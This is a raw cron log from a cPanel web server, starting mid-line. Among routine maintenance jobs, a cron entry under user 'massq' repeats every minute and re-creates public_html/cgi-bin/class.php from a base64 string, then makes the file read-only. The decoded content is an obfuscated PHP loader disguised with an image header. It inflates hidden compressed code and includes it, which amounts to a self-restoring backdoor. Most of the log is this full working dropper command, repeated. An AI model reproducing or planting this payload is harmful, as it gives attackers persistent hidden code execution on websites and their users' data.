JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:27:01 server CROND[27529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:27:01 server CROND[27528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:27:01 server CROND[27530]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:28:01 server CROND[27959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:28:01 server CROND[27960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:28:01 server CROND[27961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:29:01 server CROND[28335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:29:01 server CROND[28336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:29:01 server CROND[28337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:30:01 server CROND[28736]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:30:01 server CROND[28737]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:30:01 server CROND[28745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:30:01 server CROND[28755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:30:01 server CROND[28769]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:30:01 server CROND[28773]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  4 04:30:01 server CROND[28771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:30:01 server CROND[28777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:30:01 server CROND[28776]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 04:30:01 server CROND[28781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:31:01 server CROND[29593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:31:01 server CROND[29594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:31:01 server CROND[29592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:32:01 server CROND[30051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:32:01 server CROND[30052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:32:01 server CROND[30053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:33:01 server CROND[30427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:33:01 server CROND[30428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:33:01 server CROND[30429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:34:01 server CROND[30798]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:34:01 server CROND[30799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:34:01 server CROND[30800]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:35:01 server CROND[31191]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:35:01 server CROND[31193]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 04:35:01 server CROND[31195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:35:01 server CROND[31196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:35:01 server CROND[31194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:35:01 server CROND[31257]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:35:01 server CROND[31258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:35:01 server CROND[31259]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:35:01 server CROND[31261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:36:01 server CROND[32093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:36:01 server CROND[32095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:36:01 server CROND[32094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:37:01 server CROND[32469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:37:01 server CROND[32470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:37:01 server CROND[32471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:38:01 server CROND[480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:38:01 server CROND[483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:38:01 server CROND[484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:39:01 server CROND[888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:39:01 server CROND[890]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 04:39:01 server CROND[889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:39:01 server CROND[891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 